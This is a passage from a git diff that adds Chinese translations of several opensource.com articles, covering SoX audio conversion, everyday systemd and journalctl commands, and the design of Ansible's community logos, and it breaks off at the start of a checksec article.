+选题:[lujun9972][b] +译者:[chai001125](https://github.com/chai001125) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://itsfoss.com/author/abhishek/ +[b]: https://github.com/lujun9972 +[1]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2021/01/ubuntu-dock.png?resize=800%2C450&ssl=1 +[2]: https://i2.wp.com/itsfoss.com/wp-content/uploads/2021/01/add-icons-to-dock.png?resize=800%2C450&ssl=1 +[3]: https://i1.wp.com/itsfoss.com/wp-content/uploads/2021/01/remove-icons-from-dock.png?resize=800%2C450&ssl=1 +[4]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2021/01/reorder-icons-on-ubuntu-docks.gif?resize=800%2C430&ssl=1 +[5]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2021/01/right-click-icons-ubuntu-dock.png?resize=800%2C450&ssl=1 +[6]: https://i2.wp.com/itsfoss.com/wp-content/uploads/2021/01/keyboard-shortcut-for-ubuntu-dock.png?resize=800%2C450&ssl=1 +[7]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2021/01/change-launcher-position-ubuntu.png?resize=800%2C450&ssl=1 +[8]: https://i2.wp.com/itsfoss.com/wp-content/uploads/2021/01/change-dock-position-ubuntu.png?resize=800%2C450&ssl=1 +[9]: https://i1.wp.com/itsfoss.com/wp-content/uploads/2021/01/ubuntu-dock-settings-multimonitor.png?resize=800%2C450&ssl=1 +[10]: https://i2.wp.com/itsfoss.com/wp-content/uploads/2021/01/normal-icon-size-dock.jpg?resize=1024%2C1080&ssl=1 +[11]: https://i2.wp.com/itsfoss.com/wp-content/uploads/2021/01/changing-icon-size-in-ubuntu-dock.png?resize=800%2C450&ssl=1 +[12]: https://i1.wp.com/itsfoss.com/wp-content/uploads/2021/01/external-mounted-disks-in-ubuntu-dock.png?resize=800%2C450&ssl=1 +[13]: https://itsfoss.com/click-to-minimize-ubuntu/ +[14]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2021/01/autohide-dock-ubuntu.png?resize=800%2C450&ssl=1 +[15]: https://itsfoss.com/gnome-shell-extensions/ +[16]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2020/06/GNOME-extensions-app-ubuntu.jpg?resize=800%2C240&ssl=1 +[17]: https://i1.wp.com/itsfoss.com/wp-content/uploads/2021/01/disable-dock-ubuntu.png?resize=800%2C450&ssl=1 +[18]: https://wiki.gnome.org/Apps/DconfEditor +[19]: https://i1.wp.com/itsfoss.com/wp-content/uploads/2021/01/dconf-editor-dock.png?resize=592%2C599&ssl=1 +[20]: https://i1.wp.com/itsfoss.com/wp-content/uploads/2021/01/plank-dock-Ubuntu.jpg?resize=800%2C382&ssl=1 +[0]: https://img.linux.net.cn/data/attachment/album/202211/23/143533heym0bybbfm0bfbj.jpg \ No newline at end of file diff --git a/published/202211/20210202 Convert audio files with this versatile Linux command.md b/published/202211/20210202 Convert audio files with this versatile Linux command.md new file mode 100644 index 0000000000..5d4010c370 --- /dev/null +++ b/published/202211/20210202 Convert audio files with this versatile Linux command.md @@ -0,0 +1,228 @@ +[#]: collector: (lujun9972) +[#]: translator: (FYJNEVERFOLLOWS) +[#]: reviewer: (wxy) +[#]: publisher: (wxy) +[#]: url: (https://linux.cn/article-15246-1.html) +[#]: subject: (Convert audio files with this versatile Linux command) +[#]: via: (https://opensource.com/article/20/2/linux-sox) +[#]: author: (Klaatu https://opensource.com/users/klaatu) + +使用这个多功能的 Linux 命令转换音频文件 +====== + +> SoX Sound Exchange 甚至可以为你的音频文件添加特效。 + +![](https://img.linux.net.cn/data/attachment/album/202211/13/104314skttlizoioyeaw3w.jpg) + +我工作需要使用音视频媒体,不管你处理哪种媒体,你肯定知道标准化是一种有价值的工具。就像你不会试图把一个分数加到一个小数上而不转换其中一个一样,我已经知道,把不同格式的媒体组合起来并不理想。为了方便用户,大多数爱好者级应用程序使转换过程不可见。然而,对于那些需要控制媒体细节的用户的灵活软件,会通常让你自己提前将媒体转换为所需的格式。我有一些最喜欢的音频转换工具,其中之一就是号称“音频的瑞士军刀” —— [SoX][2]。 + +### 安装 + +在 Linux 或 BSD 上,可以从软件存储库或 Ports 树中安装 `sox` 命令(,以及一些有用的符号链接)。 + +你也可以从 [Sourceforge.net][3] 上安装 SoX。它不经常发布,但它的代码库往往是稳定的,所以如果你想要最新的功能(如 Opus 支持),构建它是容易和安全的。 + +SoX 主要提供了 `sox` 命令,但是创建了一些有用的符号链接:`play`、`rec` 和 `soxi`。 + +### 使用 SoX 获取文件信息 + +SoX 可以读取和重写音频数据。它是否存储重写的音频数据取决于你。在有些情况下,你不需要存储转换后的数据,例如,当你将输出直接发送到扬声器进行回放时。然而,在进行任何转换之前,最好首先确定要处理的是什么。 + +使用 `soxi` 命令也可以收集音频文件信息。`soxi` 会符号链接到 `soxi --info`。 + +``` +$ soxi countdown.mp3 +Input File(输入文件)    : '/home/tux/countdown.mp3' +Channels(通道数)       : 1 +Sample Rate(采样率)    : 44100 +Precision(数据精度)      : 16-bit(16 比特) +Duration(时长)       : 00:00:11.21 = 494185 samples...(11.21 秒 = 494185 采样点) +File Size(文件大小)      : 179k +Bit Rate(比特率)       : 128k +Sample Encoding(编码格式): MPEG audio (layer I, II or III) +``` + +这个输出可以让你很好地了解音频文件的编码方式、文件长度、文件大小、采样率和通道数。其中一些你可能*认为*你已经知道了,但当客户把媒体带到我面前时,我从不相信这些假设。使用 `soxi` 验证媒体属性。 + +### 转换文件 + +在本例中,,一个游戏节目倒计时的音频是以MP3文件的形式提供的。虽然几乎所有的编辑应用程序都接受压缩音频,但它们并不是在压缩的数据上进行编辑。转换是在某个地方发生的,可能是一个秘密的后台任务,也可能提示让你保存一份副本。我通常喜欢自己提前完成转换。这样,我可以控制使用的格式。我可以在夜间批量处理大量的媒体,而不是浪费宝贵的制作时间,等待编辑应用程序按需处理它们。 + +`sox` 命令用于转换音频文件。在 `sox` 流程中有几个阶段: + + * 输入 + * 合并 + * 特效 + * 输出 + +但在命令语法中,特效步骤令人困惑地放到了*最后一步*。这意味着 `sox` 流程是这样组成的: + +``` +输入 → 合并 → 输出 → 特效 +``` + +### 编码 + +最简单的转换命令只涉及一个输入文件和一个输出文件。下面是转换 MP3 文件为无损 FLAC 文件的命令: + +``` +$ sox countdown.mp3 output.flac +$ soxi output.flac + +Input File(输入文件)     : 'output.flac' +Channels(通道数)       : 1 +Sample Rate(采样率)    : 44100 +Precision(数据精度)      : 16-bit(16 比特) +Duration(时长)       : 00:00:11.18 = 493056 samples...(11.18 秒 = 493056 采样点) +File Size(文件大小)      : 545k +Bit Rate(比特率)       : 390k +Sample Encoding(编码格式): 16-bit FLAC +Comment(注释)        : 'Comment=Processed by SoX' +``` + +#### 特效 + +特效可以在命令末尾指定。它可以在将数据发送到最终目的地之前更改音频。例如,有时声音太大会在转换过程中造成问题: + +``` +$ sox bad.wav bad.ogg +sox WARN sox: `bad.ogg' output clipped 126 samples; decrease volume? +``` + +应用**增益**(`gain`)效果通常可以解决此问题: + + +``` +$ sox bad.wav bad.ogg gain -1 +``` + +#### 淡入淡出 + +另一个常用的效果是**淡入淡出**(`fade`)。此效果允许你定义淡入或淡出的类型,以及你希望淡入淡出效果持续的时间。 + +下面是一个使用倒抛物线的 6 秒淡入示例: + +``` +$ sox intro.ogg intro.flac fade p 6 +``` + +这将对音频的头部应用 3 秒的淡入,并从 8 秒标记开始淡出(这段音乐只有 11 秒,因此在这种情况下淡出也是 3 秒): + +``` +$ sox intro.ogg intro.flac fade p 3 8 +``` + +`sox` 手册页中列出了不同类型的淡入淡出(正弦、线性、倒抛物线等)以及淡入淡出提供的选项。 + +#### 特效语法 + +每个特效插件都有自己的语法,因此请参阅手册页了解如何调用每个特效插件的详细信息。 + +效果可以在一个命令中以菊花链的方式进行,至少在你想组合它们的范围内是如此。换句话说,没有语法可以只在六秒钟的淡出期间应用一个镶边效果。对于如此精确的东西,你需要一个图形声波编辑器或数字音频工作站,例如 [LMMS][4] 或 [Rosegarden][5]。但是,如果你只想应用一次特效,可以在同一命令中将它们一起列出。 + +此命令应用了一个 -1 的**增益**效果、1.35 的节奏**拉伸**和**淡出**: + +``` +$ sox intro.ogg output.flac gain -1 stretch 1.35 fade p 0 6 +$ soxi output.flac + +Input File(输入文件)     : 'output.flac' +Channels(通道数)       : 1 +Sample Rate(采样率)    : 44100 +Precision(数据精度)      : 16-bit(16 比特) +Duration(时长)       : 00:00:15.10 = 665808 samples...(15.10 秒 = 665808 采样点) +File Size(文件大小)      : 712k +Bit Rate(比特率)       : 377k +Sample Encoding(编码格式): 16-bit FLAC +Comment(注释)        : 'Comment=Processed by SoX' +``` + +### 组合音频 + +SoX 还可以通过连接或混合音频文件来组合音频文件。 + +要连接(或者说*拼接*)文件合并为一个文件,请在命令中提供多个输入文件: + +``` +$ sox countdown.mp3 intro.ogg output.flac +``` + +在本例中,`output.flac` 现在包含 `countdown.mp3` 音频,紧接着是 `intro.ogg` 音乐。 + +但是,如果你希望两首曲目同时播放,可以使用 `--combine mix` 选项: + +``` +$ sox --combine mix countdown.mp3 intro.ogg output.flac +``` + +然而,想象一下,这两个输入文件的不同之处不仅仅在于它们的编解码器。人声音轨用单声道(一个声道)录制并不少见,但音乐至少要用立体声(至少两个声道)来录制。SoX 不会给出默认的解决方案,因此你必须首先自己标准化这两个文件的格式。 + +#### 更改音频文件 + +选项与后面列出文件名有关。例如,此命令中的 `--channels` 选项将*仅仅*应用于 `input.wav`,而*不被*应用于 `example.ogg` 和 **output.flac**: + +``` +$ sox --channels 2 input.wav example.ogg output.flac +``` + +这意味着在 SoX 中,选项的位置非常重要。如果你在命令开始时指定一个选项,那么实际上只会覆盖 SoX 自己从输入文件中收集的内容。然而,在*输出文件*名前的选项决定了 SoX 如何写入音频数据。 + +要解决前面的通道不兼容问题,你可以首先标准化输入,然后混合: + +``` +$ sox countdown.mp3 --channels 2 countdown-stereo.flac gain -1 +$ soxi countdown-stereo.flac + +Input File(输入文件)     : 'countdown-stereo.flac' +Channels(通道数)       : 2 +Sample Rate(采样率)    : 44100 +Precision(数据精度)      : 16-bit(16 比特) +Duration(时长)       : 00:00:11.18 = 493056 samples...(11.18 秒 = 493056 采样点) +File Size(文件大小)      : 545k +Bit Rate(比特率)       : 390k +Sample Encoding(编码格式): 16-bit FLAC +Comment(注释)        : 'Comment=Processed by SoX' + +$ sox --combine mix \ + countdown-stereo.flac \ + intro.ogg \ + output.flac +``` + +SoX 绝对需要多个命令来执行复杂的操作,因此根据需要创建几个临时和中间文件是正常的。 + +### 多通道音频 + +当然,并非所有音频都被限制在一个或两个声道。如果你想将多个音频通道组合成一个文件,可以使用 SoX 的 `--combine merge` 选项: + +``` +$ sox --combine merge countdown.mp3 intro.ogg output.flac +$ soxi output.flac + +Input File     : 'output.flac' +Channels       : 3 +[...] +``` + +### 简单的音频操作 + +在没有视觉界面的情况下操作音频似乎很奇怪,而且对于某些任务来说,SoX 绝对不是最好的工具。然而,对于许多任务,SoX 提供了一个简单而轻量级的工具包。SoX 是一个具有强大潜力的简单命令。有了它,你可以转换音频,操纵通道和波形,甚至生成自己的声音。本文仅简要概述了其功能,因此请阅读其手册页或 [在线文档][2],然后看看你能创造什么。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/20/2/linux-sox + +作者:[Klaatu][a] +选题:[lujun9972][b] +译者:[FYJNEVERFOLLOWS](https://github.com/FYJNEVERFOLLOWS) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/klaatu +[b]: https://github.com/lujun9972 +[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/hi-fi-stereo-vintage.png?itok=KYY3YQwE (HiFi vintage stereo) +[2]: http://sox.sourceforge.net/sox.html +[3]: http://sox.sourceforge.net +[4]: https://opensource.com/life/16/2/linux-multimedia-studio +[5]: https://opensource.com/article/18/3/make-sweet-music-digital-audio-workstation-rosegarden diff --git a/published/202211/20210415 5 reasons sysadmins love systemd.md b/published/202211/20210415 5 reasons sysadmins love systemd.md new file mode 100644 index 0000000000..80c82ef369 --- /dev/null +++ b/published/202211/20210415 5 reasons sysadmins love systemd.md @@ -0,0 +1,197 @@ +[#]: subject: (5 reasons sysadmins love systemd) +[#]: via: (https://opensource.com/article/21/4/sysadmins-love-systemd) +[#]: author: (Seth Kenlon https://opensource.com/users/seth) +[#]: collector: (lujun9972) +[#]: translator: (chai001125) +[#]: reviewer: (wxy) +[#]: publisher: (wxy) +[#]: url: (https://linux.cn/article-15296-1.html) + +系统管理员喜欢 systemd 的 5 个理由 +====== + +> systemd 的速度和易用性使其成为管理现代 Linux 系统的流行方式。 + +![][0] + +系统管理员知道,在一台运行着的**现代计算机**上会发生很多事情:应用程序在后台运行、预定事件等待在特定时间被触发、事件写入日志文件、发送状态报告。在以前,不同的进程可以通过一系列 Unix 工具,来进行有效地管理和监控。然而,现代的计算机运作更为复杂了:本地服务与容器化应用程序一同运行、能够轻松访问云及其运行的集群、实时进程、以及有比以往都多的数据。 + +拥有统一的管理方法不但是用户想要的,也是忙碌的系统管理员所迫切渴望的。为了完成这项重要的任务,系统守护进程 system daemon (**systemd**) 被开发出来,并迅速被所有主要的 Linux 发行版所采用了。 + +当然,systemd 并不是管理 Linux 系统的唯一方式,还有许多其他可供选择的初始化系统,包括 sysvinit、OpenRC、runit、s6 和 BusyBox,但 systemd 将 Linux 视为一个统一的数据集,意味着 systemd 能用强大的工具对 Linux 进行一致的操作和查询。对于忙碌的系统管理员和许多用户来说,systemd 的速度和易用性是一个重要的特性。有以下的五个原因。 + +### 启动管理 + +启动 Linux 计算机可能是一件非常罕见的事情。**服务器**的正常运行时间通常以 _年_ 来计算,而不是月或周。**笔记本电脑和台式机**可能会频繁地关闭和启动,但更多的时候它们是被挂起或休眠了。无论哪种类型,**最近一次开机的时刻**都可用于检查一段时间内的计算机健康情况,因为当你在监视系统或诊断问题时,这一时刻能够限制查看的数据量大小,从而让你快速地找到问题所在。 + +如果你不记得上次启动计算机的时间,你可以使用 systemd 的日志记录工具 `journalctl`,来列出计算机的所有启动会话: + +``` +$ journalctl --list-boots +-42 7fe7c3... Fri 2020-12-04 05:13:59 - Wed 2020-12-16 16:01:23 +-41 332e99... Wed 2020-12-16 20:07:39 - Fri 2020-12-18 22:08:13 +[...] +-1 e0fe5f... Mon 2021-03-29 20:47:46 - Mon 2021-03-29 21:59:29 + 0 37fbe4... Tue 2021-03-30 04:46:13 - Tue 2021-03-30 10:42:08 +``` + +最近一次启动会话输出在结果列表的底部,因此你可以通过管道将输出传输到 `tail`,来查看最近一次启动会话。 + +左侧的数字(在本例中为 42、41、1 和 0)是每个启动会话的索引号。换句话说,如果你要查看某一特定启动会话的日志,你可以使用这个索引号作为参数。 + +### 日志检查 + +查看日志是推断系统信息的一种重要方法。日志提供了计算机运行的大部分事件的历史记录,这些记录都是在没有你直接监督的情况下生成的。通过日志,你可以知道某一服务何时启动、定时任务何时运行、哪些服务在后台运行、哪些事件运行失败等等信息。故障排除的初始步骤是使用 systemd 的 `journalctl` 来查看日志: + +``` +$ journalctl --pager-end +``` + +`--pager-end` 选项(简写为 `-e`)会从 `journalctl` 的输出末尾开始查看日志,因此要查看更早发生的日志,你需要向上滚动。 + +systemd 维护一个错误信息的“目录”,错误信息包含错误记录、可能的解决方案、支持论坛的链接和开发人员文档。这个错误信息的“目录”能为日志事件提供重要的上下文,否则它可能会成为海量日志中的一个令人困惑的信息,或者更糟的是,错误信息可能会完全被忽视。要将错误消息与日志中的解释性文本放在一起输出,你可以使用 `--catalog` 选项(简写为 `-x`): + +``` +$ journalctl --pager-end --catalog +``` + +要进一步限定日志输出,你可以指定要查看哪个启动会话的日志。因为每个启动会话都有索引,所以你可以使用 `--boot` 选项,来指定某个启动会话,并仅查看该启动会话的日志: + +``` +$ journalctl --pager-end --catalog --boot 42 +``` + +你还可以查看特定 systemd 单元的日志。例如,要解决 SSH 服务的问题,你可以指定 `--unit sshd` 选项,来仅查看适用于 `sshd` 守护程序的日志: + +``` +$ journalctl --pager-end \ + --catalog --boot 42 \ + --unit sshd +``` + +### 服务管理 + +systemd 的第一个任务就是启动你的计算机,systemd 会迅速、高效且有效地执行这一任务。但 systemd 一直需要管理的任务是服务管理,因为 systemd 需要确保你要运行的服务确实在你的会话期间启动,并继续运行。systemd 的这一功能非常稳健,因为理论上即使是一个崩溃的服务也可以在没有你干预的情况下重新启动。 + +你可以通过使用 `systemctl` 命令来让 systemd 管理服务,并能查看定义服务的 单元文件 unit file : + +``` +$ systemctl cat sshd +# /usr/lib/systemd/system/sshd.service +[Unit] +Description=OpenSSH server daemon +Documentation=man:sshd(8) man:sshd_config(5) +After=network.target sshd-keygen.target +Wants=sshd-keygen.target + +[Service] +Type=notify +EnvironmentFile=-/etc/crypto-policies/back-ends/opensshserver.config +EnvironmentFile=-/etc/sysconfig/sshd +ExecStart=/usr/sbin/sshd -D $OPTIONS $CRYPTO_POLICY +ExecReload=/bin/kill -HUP $MAINPID +KillMode=process +Restart=on-failure +RestartSec=42s + +[Install] +WantedBy=multi-user.target +``` + +大多数单元文件都在 `/usr/lib/systemd/system/` 目录下,但是你也可以用局部更改来修改配置,请使用以下的方式: + +``` +$ systemctl edit sshd +``` + +你可以通过 `is-active` 选项,来查看某一服务当前是否处于活动状态: + +``` +$ systemctl is-active sshd +active +$ systemctl is-active foo +inactive +``` + +同样地,你可以通过 `is-failed` 选项,来查看某一服务是否运行失败了。 + +``` +$ systemctl is-failed sshd +``` + +使用以下命令,来启动或者停止某一服务: + +``` +$ systemctl stop sshd +$ systemctl start sshd +``` + +使用以下命令,让某一服务在开机时自启动: + +``` +$ systemctl enable sshd +``` + +添加 `--now` 选项,让某一服务在开机时启动并在当前会话中立即启动。 + +### 定时器管理 + +在以前,当你想在 Linux 上自动执行一项任务时,你可以使用的工具是 `cron`。如今,`cron` 命令仍能使用,但对于在 Linux 上自动执行一项任务,也有一些其他好用的替代方案。例如,[anacron 命令][2] 是一个多功能的、类似于 `cron` 的系统,它能够运行在停机期间可能会错过的任务。 + +计划的事件就是在特定时间需要激活的服务。systemd 管理一个名为 [定时器][3] 的工具,它类似 cron 的功能。你可以使用以下命令,来列出活动中的定时器: + +``` +$ systemctl list-timers +NEXT                          LEFT       +Tue 2021-03-30 12:37:54 NZDT  16min left [...] +Wed 2021-03-31 00:00:00 NZDT  11h left [...] +Wed 2021-03-31 06:42:02 NZDT  18h left [...] + +3 timers listed. +Pass --all to see loaded but inactive timers, too. +``` + +你可以使用以下命令,来像启用服务一样启用定时器: + +``` +$ systemctl enable myMonitor.timer +``` + +### 目标管理 + +目标target 是 systemd 的最后一个主要组成部分。像服务和定时器一样,目标也是一个单元文件,也可以以相同的方式启动和启用。目标的独特之处在于它们可以将其他单元文件任意分组。例如,你可能希望开机启动到文本控制台界面而不是图形桌面,因此有一个 `multi-user` 目标。但是,`multi-user` 目标只是没有包括桌面单元文件的 `graphical` 目标。 + +简而言之,目标是一种将服务、定时器甚至其他的目标集合在一起,以表示机器的预期状态的简单方法。 + +事实上,在 systemd 中,重启、关机或关闭操作只是一个目标而已。 + +你可以使用 `list-unit-files` 选项,用 `--type` 选项将其限制为 `target` 来列出所有可用的目标: + +``` +$ systemctl list-unit-files --type target +``` + +### 使用 systemd 对计算机进行控制管理 + +现代的 Linux 使用 systemd 进行服务管理和日志检查。从个人的 Linux 系统到企业服务器,systemd 都能提供有效的监控,并且十分易于维护。你越频繁地使用 systemd,systemd 对你而言就会变得越容易预测和直观,你就会明白系统的不同部分是如何相互关联的。 + +为了更好地熟悉 systemd,请现在就开始使用它吧。请 [下载关于 systemd 相关命令的备忘录][4],你可以在实际使用 systemd 中经常参考这个备忘录,这样你就能更快熟悉使用 systemd 啦! + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/21/4/sysadmins-love-systemd + +作者:[Seth Kenlon][a] +选题:[lujun9972][b] +译者:[chai001125](https://github.com/chai001125) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/seth +[b]: https://github.com/lujun9972 +[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/OSDC_women_computing_4.png?itok=VGZO8CxT (Woman sitting in front of her laptop) +[2]: https://opensource.com/article/21/2/linux-automation +[3]: https://opensource.com/article/20/7/systemd-timers +[4]: https://opensource.com/downloads/linux-systemd-cheat-sheet +[0]: https://img.linux.net.cn/data/attachment/album/202211/28/085754t9sztkt26452ys4s.png \ No newline at end of file diff --git a/published/202211/20210426 How we built an open source design system to create new community logos.md b/published/202211/20210426 How we built an open source design system to create new community logos.md new file mode 100644 index 0000000000..7aa29a7ef8 --- /dev/null +++ b/published/202211/20210426 How we built an open source design system to create new community logos.md @@ -0,0 +1,123 @@ +[#]: subject: (How we built an open source design system to create new community logos) +[#]: via: (https://opensource.com/article/21/4/ansible-community-logos) +[#]: author: (Fiona Lin https://opensource.com/users/fionalin) +[#]: collector: (lujun9972) +[#]: translator: (MareDevi) +[#]: reviewer: (wxy) +[#]: publisher: (wxy) +[#]: url: (https://linux.cn/article-15227-1.html) + +我们如何建立一个开源的设计系统来创造新的社区徽标 +====== + +> 了解 Ansible 的新徽标是如何根据相关人员的意见开发的,以确保整个项目的品牌一致性。 + +![UX design Mac computer with mobile and laptop][1] + +作为红帽的用户体验(UX)设计和 Ansible 产品团队的交互设计师,我们花了大约 6 个月的时间为 Ansible 社区设计了一系列徽标。这件事其实在更早的时候就开始了,当时一位项目经理要求我们为一个幻灯片提供一个 “快速而简单” 的徽标。在收集了一些需求后,我们在几天内就向相关人员展示了一个徽标,而且没有经过太多调整。几个月后,另一个相关人员说他们也需要类似的徽标,所以我们重复了这个过程。 + +于是,我们注意到一个模式:像这样的徽标资源不仅仅代表个人的要求,而是整个 Ansible 项目的共同需要。在完成了几个徽标要求后,我们有了一系列临时的设计,但在没有意识到品牌和设计惯例的情况下,这可能给整个 Ansible 的品牌视觉造成了不一致。随着这个徽标系列的增加,我们认识到了这个迫在眉睫的问题,并需要解决它。 + +我们的解决方案是创建一个 Ansible 设计系统,这是一个针对品牌的资源,可以指导未来一致的徽标设计。 + +### 什么是设计系统? + +设计系统是一个可重复使用的资源和指导方法的集合,有助于告知任何数字产品套件的视觉语言。设计系统创造了一些模式,将独立的产品整合在一起,并通过可扩展性和一致性提升品牌。 + +特别是在一个有多种产品的大公司里,如果没有标准化,扩展起来就不容易,因为不同的团队对每个产品都有贡献。设计系统可以作为每个团队建立新资产的基线。有了标准化的外观和感觉,产品在整个组合中被统一为一个家族。 + +### 从头构建一个设计系统 + +在收到相关人员提出的为 Ansible 开源社区(如 Ansible Builder、Ansible Runner 和Project Receptor)创建徽标的一系列要求后,我们决定为我们的工作流程设计一个结构,并创建一个单一的事实来源,为之努力。 + +首先,我们对现有的徽标进行了视觉审计,以确定我们要做的是什么。Ansible 的原始徽标系列由四个主要图像组成:代表 AWX 的 Angry Spud,代表 Ansible 核心/引擎的 Ansibull,以及代表 AWX 的带翅膀的显示器。大部分的徽标都是用一致的红色阴影和公牛的形象联系在一起的,但是笔画的宽度、笔画的颜色、线条的质量和排版复杂而多样。 + +![Original Ansible logos][2] + +Angry Spud 使用棕褐色的轮廓和手绘风格,而 Ansibull 则是一个对称的几何矢量图。AWX 显示器是一个异类,它有细线画的翅膀,蓝色的矢量矩形,以及古英语字体(这里没有包括在内,但与家族中其他使用现代无衬线的字体相比,它是一个例外)。 + +### 确立新的设计标准 + +考虑到调色板、排版和图像,我们产生了一个一致的构图,以 Ansibull 代表所有核心的 Ansible 产品,以及大胆的线条和充满活力的颜色。 + +![Ansible design system][4] + +新的 Ansible 社区徽标设计风格指南详细说明了 Ansible 产品徽标的调色、排版、尺寸、间距和徽标变化。 + +新的风格指南展示了一种全新的、现代的定制字体,该字体基于瑞士独立字体厂商 [Grilli Type][5] 的 GT America 字体。我们为该字体创造了一个柔和的外观,通过圆润每个字母某些角落来配合图像的圆润度。 + +我们决定通过在光谱中加入更多的颜色并以原色为基础,设计一个更生动、更饱和、更普遍的调色板。新的调色板以浅蓝色、黄色和粉红色为主色调,每种颜色都有较浅的高光和较深的阴影。这种更广泛的颜色范围使系统内有更多的灵活性,并引入了 3D 的外观和感觉。 + +![New Ansible logos][6] + +我们还引入了新的图像,如 Receptor 和 AWX 徽标中的六边形,以保持视觉上的连续性。最后,我们确保每个徽标在浅色和深色背景上都能使用,以获得最大的灵活性。 + +### 拓展设计组合 + +一旦我们建立了核心徽标系列,我们就开始为 Ansible 服务创建徽章,如 Ansible Demo 和 Ansible Workshop。为了将服务与产品区分开来,我们决定将服务图形包围在一个圆圈中,圆圈中包含了相同的定制排版的服务名称。新的服务徽章显示了幼儿版的 Ansibull(来自 Ansible Builder 的徽标)正在完成与每个服务相关的任务,例如 Ansible Demo 指向白板,Ansible Workshop 则使用构建工具。 + +![New Ansible services logos][7] + +### 利用开放源码进行设计决策 + +最初的 AWX 徽标受到了摇滚乐图像的影响,如翅膀和重金属字体(此处省略)。 + +![Original AWX logo][8] + +(Fiona Lin and Taufique Rahman, [CC BY-SA 4.0][3]) + +Ansible 社区的一些成员,包括红帽多样性和包容性小组,提请我们注意,这些元素类似于仇恨团体使用的图像。 + +考虑到原徽标的社会影响,我们必须迅速与 Ansible 社区合作,设计一个替代徽标。我们没有像最初的徽标那样闭门造车,而是扩大了项目的范围,仔细考虑了更多的相关人员,包括 Ansible 社区、红帽多样性和包容性小组,以及红帽法律团队。 + +我们开始了头脑风暴,向 Ansible 开源社区征求意见。Ansible 的一位工程师 Rebeccah Hunter 在草图绘制阶段做出了贡献,后来成为我们设计团队中的一员。让一大群相关人员参与进来的挑战之一是,我们对新的徽标概念有了各种各样的想法,比如一条辅助电缆、一碗拉面等等。 + +我们勾画了五个社区贡献的徽标创意,每个徽标都有不同的品牌视觉:一个芽、一个火箭、一个显示器、一碗拉面和一个辅助电缆。 + +![AWX logo concepts][9] + +在完成这些初步的概念草图后,我们建立了一个虚拟的投票机制,并在整个迭代过程中使用。这个投票系统使我们能够利用社区的反馈,从五个初始概念缩小到三个:火箭、一碗拉面和显示器。我们在这三个方向上进一步迭代,并通过专门的 Slack 频道进行反馈,直到我们找到一个符合社区愿景的方向,即 AWX 显示器。 + +![New AWX logo][10] + +以社区的意见为指导,我们围绕显示器为 AWX 打造了徽标概念。我们保留了原徽标中的显示器元素,同时使其外观和感觉现代化,以配合我们更新的设计系统。我们使用了更鲜艳的色调,更简洁的无衬线字体,以及来自 Project Receptor 徽标的元素,包括六角形图案。 + +通过从一开始就与我们的社区接触,我们能够在公开场合进行设计和迭代,所有相关人员都有一种包容感。最后,我们认为这是取代一个有争议的徽标的最好方法。最终的版本被移交给了红帽法律团队,在获得批准后,我们用这个新的徽标替换了所有的现有资产。 + +### 主要收获 + +为设计系统创建一套规则和资源,使你的数字产品全面保持一致,消除品牌混乱,并实现可扩展性。 + +当你探索在自己的社区建立一个设计系统时,你可能会从我们在这条路上学到的这些关键经验中受益: + + * 用设计系统来扩展新的徽标,比没有设计系统要容易得多。 + * 当你使用投票系统来验证结果时,杂乱无章的设计方案就会变得不那么令人生畏。 + * 将大量受众的注意力引向三套方案,可以消除决策疲劳,集中社区反馈。 + +我们希望这篇文章能够提供用于开源社区的设计系统的启示,并帮助你认识到在早期开发一个系统的好处。如果你正在创建一个新的设计系统,你有什么问题?如果你已经创建了一个,你学到了什么教训?请在评论中分享你的想法。 + +*(图像来自:Fiona Lin and Taufique Rahman, [CC BY-SA 4.0][3])* + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/21/4/ansible-community-logos + +作者:[Fiona Lin][a] +选题:[lujun9972][b] +译者:[MareDevi](https://github.com/MareDEvi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/fionalin +[b]: https://github.com/lujun9972 +[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/ux-design-mac-laptop.jpg?itok=9-HKgXa9 (UX design Mac computer with mobile and laptop) +[2]: https://opensource.com/sites/default/files/pictures/original_logos.png (Original Ansible logos) +[3]: https://creativecommons.org/licenses/by-sa/4.0/ +[4]: https://opensource.com/sites/default/files/pictures/design_system.png (Ansible design system) +[5]: https://www.grillitype.com/ +[6]: https://opensource.com/sites/default/files/pictures/new_logos.png (New Ansible logos) +[7]: https://opensource.com/sites/default/files/pictures/new_service_badges.png (New Ansible services logos) +[8]: https://opensource.com/sites/default/files/uploads/awx_original.png (Original AWX logo) +[9]: https://opensource.com/sites/default/files/uploads/awx_concepts.png (AWX logo concepts) +[10]: https://opensource.com/sites/default/files/uploads/awx.png (New AWX logo) diff --git a/published/202211/20210607 Identify security properties on Linux using checksec.md b/published/202211/20210607 Identify security properties on Linux using checksec.md new file mode 100644 index 0000000000..385303b6b3 --- /dev/null +++ b/published/202211/20210607 Identify security properties on Linux using checksec.md @@ -0,0 +1,460 @@ +[#]: subject: (Identify security properties on Linux using checksec) +[#]: via: (https://opensource.com/article/21/6/linux-checksec) +[#]: author: (Gaurav Kamathe https://opensource.com/users/gkamathe) +[#]: collector: (lujun9972) +[#]: translator: (chai001125) +[#]: reviewer: (wxy) +[#]: publisher: (wxy) +[#]: url: (https://linux.cn/article-15264-1.html) + +在 Linux 上使用 Checksec 识别二进制文件的安全属性 +====== + +> 